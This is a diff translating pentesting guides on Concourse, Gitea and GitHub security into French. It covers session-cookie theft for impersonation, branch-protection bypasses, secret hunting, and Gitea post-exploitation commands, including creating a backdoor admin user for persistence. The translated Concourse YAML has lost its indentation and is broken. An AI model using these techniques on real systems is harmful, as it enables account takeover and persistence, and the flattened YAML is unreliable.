+Chaque [step](https://concourse-ci.org/steps.html) dans un [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) s'exécute dans son **propre conteneur**. Vous pouvez exécuter tout ce que vous voulez à l'intérieur du conteneur _(c'est-à-dire exécuter mes tests, exécuter ce script bash, construire cette image, etc.)_. Donc, si vous avez un job avec cinq steps, Concourse créera cinq conteneurs, un pour chaque step.
 
-Therefore, it's possible to indicate the type of container each step needs to be run in.
-
-### Simple Pipeline Example
+Par conséquent, il est possible d'indiquer le type de conteneur dans lequel chaque step doit être exécuté.
 
+### Exemple de Pipeline Simple
 ```yaml
 jobs:
-  - name: simple
-    plan:
-      - task: simple-task
-        privileged: true
-        config:
-          # Tells Concourse which type of worker this task should run on
-          platform: linux
-          image_resource:
-            type: registry-image
-            source:
-              repository: busybox # images are pulled from docker hub by default
-          run:
-            path: sh
-            args:
-              - -cx
-              - |
-                sleep 1000
-                echo "$SUPER_SECRET"
-          params:
-            SUPER_SECRET: ((super.secret))
+- name: simple
+plan:
+- task: simple-task
+privileged: true
+config:
+# Tells Concourse which type of worker this task should run on
+platform: linux
+image_resource:
+type: registry-image
+source:
+repository: busybox # images are pulled from docker hub by default
+run:
+path: sh
+args:
+- -cx
+- |
+sleep 1000
+echo "$SUPER_SECRET"
+params:
+SUPER_SECRET: ((super.secret))
 ```
 
 ```bash
@@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
 # From another console
 fly -t tutorial intercept --job pipe-name/simple
 ```
+Vérifiez **127.0.0.1:8080** pour voir le flux de pipeline.
 
-Check **127.0.0.1:8080** to see the pipeline flow.
+### Script Bash avec pipeline de sortie/entrée
 
-### Bash script with output/input pipeline
+Il est possible de **sauvegarder les résultats d'une tâche dans un fichier** et d'indiquer que c'est une sortie, puis d'indiquer l'entrée de la tâche suivante comme la sortie de la tâche précédente. Ce que concourse fait, c'est **monter le répertoire de la tâche précédente dans la nouvelle tâche où vous pouvez accéder aux fichiers créés par la tâche précédente**.
 
-It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
+### Déclencheurs
 
-### Triggers
+Vous n'avez pas besoin de déclencher les travaux manuellement chaque fois que vous devez les exécuter, vous pouvez également les programmer pour qu'ils s'exécutent à chaque fois :
 
-You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
+- Un certain temps passe : [Time resource](https://github.com/concourse/time-resource/)
+- Sur de nouveaux commits dans la branche principale : [Git resource](https://github.com/concourse/git-resource)
+- Nouveaux PR : [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
+- Récupérer ou pousser la dernière image de votre application : [Registry-image resource](https://github.com/concourse/registry-image-resource/)
 
-- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
-- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
-- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
-- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
-
-Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
+Vérifiez un exemple de pipeline YAML qui se déclenche sur de nouveaux commits dans master à [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index bf4f6485a..4bfcf65ea 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -2,141 +2,129 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## What is Gitea
+## Qu'est-ce que Gitea
 
-**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
+**Gitea** est une solution **d'hébergement de code léger gérée par la communauté et auto-hébergée** écrite en Go.
 
 ![](<../../images/image (160).png>)
 
-### Basic Information
+### Informations de base
 
 {{#ref}}
 basic-gitea-information.md
 {{#endref}}
 
-## Lab
-
-To run a Gitea instance locally you can just run a docker container:
+## Laboratoire
 
+Pour exécuter une instance Gitea localement, vous pouvez simplement exécuter un conteneur docker :
 ```bash
 docker run -p 3000:3000 gitea/gitea
 ```
+Connectez-vous au port 3000 pour accéder à la page web.
 
-Connect to port 3000 to access the web page.
-
-You could also run it with kubernetes:
-
+Vous pouvez également l'exécuter avec kubernetes :
 ```
 helm repo add gitea-charts https://dl.gitea.io/charts/
 helm install gitea gitea-charts/gitea
 ```
+## Énumération non authentifiée
 
-## Unauthenticated Enumeration
+- Repos publics : [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
+- Utilisateurs enregistrés : [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
+- Organisations enregistrées : [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
 
-- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
-- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
-- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
+Notez qu'en **default Gitea permet aux nouveaux utilisateurs de s'inscrire**. Cela ne donnera pas un accès particulièrement intéressant aux nouveaux utilisateurs sur les repos d'autres organisations/utilisateurs, mais un **utilisateur connecté** pourrait être en mesure de **visualiser plus de repos ou d'organisations**.
 
-Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
+## Exploitation interne
 
-## Internal Exploitation
+Pour ce scénario, nous allons supposer que vous avez obtenu un accès à un compte github.
 
-For this scenario we are going to suppose that you have obtained some access to a github account.
+### Avec les identifiants de l'utilisateur/Cookie Web
 
-### With User Credentials/Web Cookie
+Si vous avez d'une manière ou d'une autre déjà des identifiants pour un utilisateur au sein d'une organisation (ou si vous avez volé un cookie de session), vous pouvez **simplement vous connecter** et vérifier quels **permissions vous avez** sur quels **repos,** dans **quelles équipes** vous êtes, **lister d'autres utilisateurs**, et **comment les repos sont protégés.**
 
-If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
-
-Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
+Notez que **2FA peut être utilisé** donc vous ne pourrez accéder à ces informations que si vous pouvez également **passer cette vérification**.
 
 > [!NOTE]
-> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
+> Notez que si vous **réussissez à voler le cookie `i_like_gitea`** (actuellement configuré avec SameSite: Lax), vous pouvez **complètement usurper l'identité de l'utilisateur** sans avoir besoin d'identifiants ou de 2FA.
 
-### With User SSH Key
+### Avec la clé SSH de l'utilisateur
 
-Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
-
-With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
+Gitea permet aux **utilisateurs** de définir des **clés SSH** qui seront utilisées comme **méthode d'authentification pour déployer du code** en leur nom (aucune 2FA n'est appliquée).
 
+Avec cette clé, vous pouvez effectuer **des modifications dans les dépôts où l'utilisateur a des privilèges**, cependant vous ne pouvez pas l'utiliser pour accéder à l'API gitea pour énumérer l'environnement. Cependant, vous pouvez **énumérer les paramètres locaux** pour obtenir des informations sur les repos et l'utilisateur auquel vous avez accès :
 ```bash
 # Go to the the repository folder
 # Get repo config and current user name and email
 git config --list
 ```
+Si l'utilisateur a configuré son nom d'utilisateur comme son nom d'utilisateur gitea, vous pouvez accéder aux **clés publiques qu'il a définies** dans son compte à _https://github.com/\<gitea_username>.keys_, vous pourriez vérifier cela pour confirmer que la clé privée que vous avez trouvée peut être utilisée.
 
-If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
+Les **clés SSH** peuvent également être définies dans les dépôts comme **clés de déploiement**. Quiconque ayant accès à cette clé pourra **lancer des projets à partir d'un dépôt**. En général, sur un serveur avec différentes clés de déploiement, le fichier local **`~/.ssh/config`** vous donnera des informations sur la clé à laquelle il est lié.
 
-**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
+#### Clés GPG
 
-#### GPG Keys
-
-As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
-
-Check locally if the current user has any key with:
+Comme expliqué [**ici**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), il est parfois nécessaire de signer les commits sinon vous pourriez être découvert.
 
+Vérifiez localement si l'utilisateur actuel a une clé avec :
 ```shell
 gpg --list-secret-keys --keyid-format=long
 ```
+### Avec le jeton utilisateur
 
-### With User Token
+Pour une introduction sur [**les jetons utilisateur, consultez les informations de base**](basic-gitea-information.md#personal-access-tokens).
 
-For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
+Un jeton utilisateur peut être utilisé **au lieu d'un mot de passe** pour **s'authentifier** contre le serveur Gitea [**via l'API**](https://try.gitea.io/api/swagger#/). Il aura **un accès complet** sur l'utilisateur.
 
-A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
+### Avec l'application Oauth
 
-### With Oauth Application
+Pour une introduction sur [**les applications Oauth de Gitea, consultez les informations de base**](./#with-oauth-application).
 
-For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application).
+Un attaquant pourrait créer une **application Oauth malveillante** pour accéder aux données/actions privilégiées des utilisateurs qui les acceptent probablement dans le cadre d'une campagne de phishing.
 
-An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+Comme expliqué dans les informations de base, l'application aura **un accès complet sur le compte utilisateur**.
 
-As explained in the basic information, the application will have **full access over the user account**.
+### Contournement de la protection des branches
 
-### Branch Protection Bypass
+Dans Github, nous avons **github actions** qui, par défaut, obtiennent un **jeton avec un accès en écriture** sur le dépôt qui peut être utilisé pour **contourner les protections de branche**. Dans ce cas, cela **n'existe pas**, donc les contournements sont plus limités. Mais examinons ce qui peut être fait :
 
-In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
+- **Activer le push** : Si quelqu'un avec un accès en écriture peut pousser vers la branche, poussez simplement vers celle-ci.
+- **Liste blanche des push restreints** : De la même manière, si vous faites partie de cette liste, poussez vers la branche.
+- **Activer la liste blanche de fusion** : S'il y a une liste blanche de fusion, vous devez en faire partie.
+- **Exiger que les approbations soient supérieures à 0** : Alors... vous devez compromettre un autre utilisateur.
+- **Restreindre les approbations aux utilisateurs sur liste blanche** : Si seuls les utilisateurs sur liste blanche peuvent approuver... vous devez compromettre un autre utilisateur qui est dans cette liste.
+- **Rejeter les approbations obsolètes** : Si les approbations ne sont pas supprimées avec de nouveaux commits, vous pourriez détourner une PR déjà approuvée pour injecter votre code et fusionner la PR.
 
-- **Enable Push**: If anyone with write access can push to the branch, just push to it.
-- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
-- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
-- **Require approvals is bigger than 0**: Then... you need to compromise another user
-- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
-- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
+Notez que **si vous êtes un admin d'org/repo**, vous pouvez contourner les protections.
 
-Note that **if you are an org/repo admin** you can bypass the protections.
+### Énumérer les Webhooks
 
-### Enumerate Webhooks
+Les **webhooks** sont capables d'**envoyer des informations spécifiques de gitea à certains endroits**. Vous pourriez être en mesure de **exploiter cette communication**.\
+Cependant, généralement, un **secret** que vous ne pouvez **pas récupérer** est défini dans le **webhook** qui **empêchera** les utilisateurs externes qui connaissent l'URL du webhook mais pas le secret d'**exploiter ce webhook**.\
+Mais dans certaines occasions, les gens au lieu de définir le **secret** à sa place, le **mettent dans l'URL** comme paramètre, donc **vérifier les URL** pourrait vous permettre de **trouver des secrets** et d'autres endroits que vous pourriez exploiter davantage.
 
-**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
-However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
-But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
+Les webhooks peuvent être définis au **niveau du dépôt et au niveau de l'org**.
 
-Webhooks can be set at **repo and at org level**.
+## Post-exploitation
 
-## Post Exploitation
+### À l'intérieur du serveur
 
-### Inside the server
+Si d'une manière ou d'une autre vous parvenez à entrer dans le serveur où gitea fonctionne, vous devriez chercher le fichier de configuration de gitea. Par défaut, il est situé dans `/data/gitea/conf/app.ini`
 
-If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
+Dans ce fichier, vous pouvez trouver des **clés** et des **mots de passe**.
 
-In this file you can find **keys** and **passwords**.
+Dans le chemin gitea (par défaut : /data/gitea), vous pouvez également trouver des informations intéressantes comme :
 
-In the gitea path (by default: /data/gitea) you can find also interesting information like:
+- La **DB sqlite** : Si gitea n'utilise pas une DB externe, il utilisera une DB sqlite.
+- Les **sessions** dans le dossier des sessions : En exécutant `cat sessions/*/*/*`, vous pouvez voir les noms d'utilisateur des utilisateurs connectés (gitea pourrait également enregistrer les sessions dans la DB).
+- La **clé privée jwt** dans le dossier jwt.
+- Plus d'**informations sensibles** pourraient être trouvées dans ce dossier.
 
-- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
-- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
-- The **jwt private key** inside the jwt folder
-- More **sensitive information** could be found in this folder
+Si vous êtes à l'intérieur du serveur, vous pouvez également **utiliser le binaire `gitea`** pour accéder/modifier des informations :
 
-If you are inside the server you can also **use the `gitea` binary** to access/modify information:
-
-- `gitea dump` will dump gitea and generate a .zip file
-- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
-- `gitea admin user change-password --username admin --password newpassword` Change the password
-- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
+- `gitea dump` va dumper gitea et générer un fichier .zip.
+- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` va générer un jeton du type indiqué (persistance).
+- `gitea admin user change-password --username admin --password newpassword` Changer le mot de passe.
+- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Créer un nouvel utilisateur admin et obtenir un jeton d'accès.
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index e6e4d9ba3..1206915d5 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -1,107 +1,103 @@
-# Basic Gitea Information
+# Informations de base sur Gitea
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Structure
+## Structure de base
 
-The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
+La structure de base de l'environnement Gitea est de regrouper les dépôts par **organisation(s)**, chacune d'elles pouvant contenir **plusieurs dépôts** et **plusieurs équipes**. Cependant, notez que tout comme sur GitHub, les utilisateurs peuvent avoir des dépôts en dehors de l'organisation.
 
-Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
+De plus, un **utilisateur** peut être **membre de différentes organisations**. Au sein de l'organisation, l'utilisateur peut avoir **différentes permissions sur chaque dépôt**.
 
-A user may also be **part of different teams** with different permissions over different repos.
+Un utilisateur peut également être **partie de différentes équipes** avec différentes permissions sur différents dépôts.
 
-And finally **repositories may have special protection mechanisms**.
+Et enfin, **les dépôts peuvent avoir des mécanismes de protection spéciaux**.
 
 ## Permissions
 
-### Organizations
+### Organisations
 
-When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
+Lorsqu'une **organisation est créée**, une équipe appelée **Propriétaires** est **créée** et l'utilisateur y est ajouté. Cette équipe donnera un **accès admin** sur l'**organisation**, ces **permissions** et le **nom** de l'équipe **ne peuvent pas être modifiés**.
 
-**Org admins** (owners) can select the **visibility** of the organization:
+Les **admins d'org** (propriétaires) peuvent sélectionner la **visibilité** de l'organisation :
 
-- Public
-- Limited (logged in users only)
-- Private (members only)
+- Publique
+- Limitée (utilisateurs connectés uniquement)
+- Privée (membres uniquement)
 
-**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
+Les **admins d'org** peuvent également indiquer si les **admins de dépôt** peuvent **ajouter ou retirer l'accès** pour les équipes. Ils peuvent également indiquer le nombre maximum de dépôts.
 
-When creating a new team, several important settings are selected:
+Lors de la création d'une nouvelle équipe, plusieurs paramètres importants sont sélectionnés :
 
-- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
-- It's also indicated **if members can create new repos** (creator will get admin access to it)
-- The **permissions** the **members** of the repo will **have**:
-  - **Administrator** access
-  - **Specific** access:
+- Il est indiqué les **dépôts de l'org auxquels les membres de l'équipe pourront accéder** : dépôts spécifiques (dépôts où l'équipe est ajoutée) ou tous.
+- Il est également indiqué **si les membres peuvent créer de nouveaux dépôts** (le créateur obtiendra un accès admin à celui-ci)
+- Les **permissions** que les **membres** du dépôt **auront** :
+- Accès **Administrateur**
+- Accès **Spécifique** :
 
 ![](<../../images/image (118).png>)
 
-### Teams & Users
+### Équipes & Utilisateurs
 
-In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
+Dans un dépôt, l'**admin d'org** et les **admins de dépôt** (si autorisé par l'org) peuvent **gérer les rôles** attribués aux collaborateurs (autres utilisateurs) et aux équipes. Il y a **3** rôles possibles :
 
-- Administrator
-- Write
-- Read
+- Administrateur
+- Écrire
+- Lire
 
-## Gitea Authentication
+## Authentification Gitea
 
-### Web Access
+### Accès Web
 
-Using **username + password** and potentially (and recommended) a 2FA.
+Utiliser **nom d'utilisateur + mot de passe** et potentiellement (et recommandé) une 2FA.
 
-### **SSH Keys**
+### **Clés SSH**
 
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
+Vous pouvez configurer votre compte avec une ou plusieurs clés publiques permettant à la clé **privée associée d'effectuer des actions en votre nom.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
 
-#### **GPG Keys**
+#### **Clés GPG**
 
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
+Vous **ne pouvez pas usurper l'identité de l'utilisateur avec ces clés** mais si vous ne l'utilisez pas, il pourrait être possible que vous **soyez découvert pour avoir envoyé des commits sans signature**.
 
-### **Personal Access Tokens**
+### **Jetons d'accès personnels**
 
-You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
+Vous pouvez générer un jeton d'accès personnel pour **donner à une application accès à votre compte**. Un jeton d'accès personnel donne un accès complet à votre compte : [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
 
-### Oauth Applications
+### Applications Oauth
 
-Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
+Tout comme les jetons d'accès personnels, les **applications Oauth** auront un **accès complet** à votre compte et aux endroits auxquels votre compte a accès car, comme indiqué dans la [documentation](https://docs.gitea.io/en-us/oauth2-provider/#scopes), les scopes ne sont pas encore pris en charge :
 
 ![](<../../images/image (194).png>)
 
-### Deploy keys
+### Clés de déploiement
 
-Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
+Les clés de déploiement peuvent avoir un accès en lecture seule ou en écriture au dépôt, elles peuvent donc être intéressantes pour compromettre des dépôts spécifiques.
 
-## Branch Protections
+## Protections de branche
 
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+Les protections de branche sont conçues pour **ne pas donner un contrôle complet d'un dépôt** aux utilisateurs. L'objectif est de **mettre plusieurs méthodes de protection avant de pouvoir écrire du code dans une certaine branche**.
 
-The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
+Les **protections de branche d'un dépôt** peuvent être trouvées à _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
 
 > [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> Il est **impossible de définir une protection de branche au niveau de l'organisation**. Donc, toutes doivent être déclarées sur chaque dépôt.
 
-Different protections can be applied to a branch (like to master):
+Différentes protections peuvent être appliquées à une branche (comme à master) :
 
-- **Disable Push**: No-one can push to this branch
-- **Enable Push**: Anyone with access can push, but not force push.
-- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
-- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
-- **Enable Status checks:** Require status checks to pass before merging.
-- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
-- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
-- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
-- **Block merge on official review requests**: If there official review requests it cannot be merged
-- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
-- **Require Signed Commits**: Commits must be signed.
-- **Block merge if pull request is outdated**
-- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
+- **Désactiver Push** : Personne ne peut pousser vers cette branche
+- **Activer Push** : Quiconque ayant accès peut pousser, mais pas forcer le push.
+- **Liste blanche de Push restreint** : Seuls les utilisateurs/équipes sélectionnés peuvent pousser vers cette branche (mais pas de force push)
+- **Activer la liste blanche de fusion** : Seuls les utilisateurs/équipes sur liste blanche peuvent fusionner des PRs.
+- **Activer les vérifications d'état :** Exiger que les vérifications d'état réussissent avant de fusionner.
+- **Exiger des approbations** : Indiquer le nombre d'approbations requises avant qu'une PR puisse être fusionnée.
+- **Restreindre les approbations aux utilisateurs sur liste blanche** : Indiquer les utilisateurs/équipes qui peuvent approuver les PRs.
+- **Bloquer la fusion sur des revues rejetées** : Si des modifications sont demandées, elle ne peut pas être fusionnée (même si les autres vérifications réussissent)
+- **Bloquer la fusion sur des demandes de révision officielles** : S'il y a des demandes de révision officielles, elle ne peut pas être fusionnée
+- **Rejeter les approbations obsolètes** : Lors de nouveaux commits, les anciennes approbations seront rejetées.
+- **Exiger des commits signés** : Les commits doivent être signés.
+- **Bloquer la fusion si la demande de tirage est obsolète**
+- **Modèles de fichiers protégés/non protégés** : Indiquer les modèles de fichiers à protéger/non protéger contre les modifications
 
 > [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> Comme vous pouvez le voir, même si vous parvenez à obtenir des identifiants d'un utilisateur, **les dépôts peuvent être protégés vous empêchant de pousser du code vers master** par exemple pour compromettre le pipeline CI/CD.
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index cdad12b57..660575c0f 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -1,42 +1,42 @@
-# Github Security
+# Sécurité Github
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## What is Github
+## Qu'est-ce que Github
 
-(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
+(De [ici](https://kinsta.com/knowledgebase/what-is-github/)) À un niveau élevé, **GitHub est un site web et un service basé sur le cloud qui aide les développeurs à stocker et gérer leur code, ainsi qu'à suivre et contrôler les modifications apportées à leur code**.
 
-### Basic Information
+### Informations de base
 
 {{#ref}}
 basic-github-information.md
 {{#endref}}
 
-## External Recon
+## Reconnaissance externe
 
-Github repositories can be configured as public, private and internal.
+Les dépôts Github peuvent être configurés comme publics, privés et internes.
 
-- **Private** means that **only** people of the **organisation** will be able to access them
-- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
-- **Public** means that **all internet** is going to be able to access it.
+- **Privé** signifie que **seules** les personnes de l'**organisation** pourront y accéder.
+- **Interne** signifie que **seules** les personnes de l'**entreprise** (une entreprise peut avoir plusieurs organisations) pourront y accéder.
+- **Public** signifie que **tout internet** pourra y accéder.
 
-In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
+Dans le cas où vous connaissez le **utilisateur, le dépôt ou l'organisation que vous souhaitez cibler**, vous pouvez utiliser **github dorks** pour trouver des informations sensibles ou rechercher des **fuites d'informations sensibles** **dans chaque dépôt**.
 
 ### Github Dorks
 
-Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
+Github permet de **rechercher quelque chose en spécifiant comme portée un utilisateur, un dépôt ou une organisation**. Par conséquent, avec une liste de chaînes qui vont apparaître près d'informations sensibles, vous pouvez facilement **rechercher des informations sensibles potentielles dans votre cible**.
 
-Tools (each tool contains its list of dorks):
+Outils (chaque outil contient sa liste de dorks) :
 
-- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
-- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
-- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
+- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Liste de Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks))
+- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Liste de Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
+- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Liste de Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
 
-### Github Leaks
+### Fuites Github
 
-Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
+Veuillez noter que les github dorks sont également destinés à rechercher des fuites en utilisant les options de recherche github. Cette section est dédiée à ces outils qui vont **télécharger chaque dépôt et rechercher des informations sensibles dans ceux-ci** (même en vérifiant une certaine profondeur de commits).
 
-Tools (each tool contains its list of regexes):
+Outils (chaque outil contient sa liste de regex) :
 
 - [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
 - [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
@@ -47,202 +47,190 @@ Tools (each tool contains its list of regexes):
 - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
 
 > [!WARNING]
-> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
+> Lorsque vous recherchez des fuites dans un dépôt et exécutez quelque chose comme `git log -p`, n'oubliez pas qu'il pourrait y avoir **d'autres branches avec d'autres commits** contenant des secrets !
 
-### External Forks
+### Forks externes
 
-It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork).
+Il est possible de **compromettre des dépôts en abusant des demandes de tirage**. Pour savoir si un dépôt est vulnérable, vous devez principalement lire les configurations yaml des Github Actions. [**Plus d'infos à ce sujet ci-dessous**](./#execution-from-a-external-fork).
 
-### Github Leaks in deleted/internal forks
+### Fuites Github dans des forks supprimés/internes
 
-Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
+Même s'ils sont supprimés ou internes, il peut être possible d'obtenir des données sensibles à partir de forks de dépôts github. Vérifiez ici :
 
 {{#ref}}
 accessible-deleted-data-in-github.md
 {{#endref}}
 
-## Organization Hardening
+## Renforcement de l'organisation
 
-### Member Privileges
+### Privilèges des membres
 
-There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
+Il existe certains **privilèges par défaut** qui peuvent être attribués aux **membres** de l'organisation. Ceux-ci peuvent être contrôlés depuis la page `https://github.com/organizations/<org_name>/settings/member_privileges` ou depuis l'[**API des organisations**](https://docs.github.com/en/rest/orgs/orgs).
 
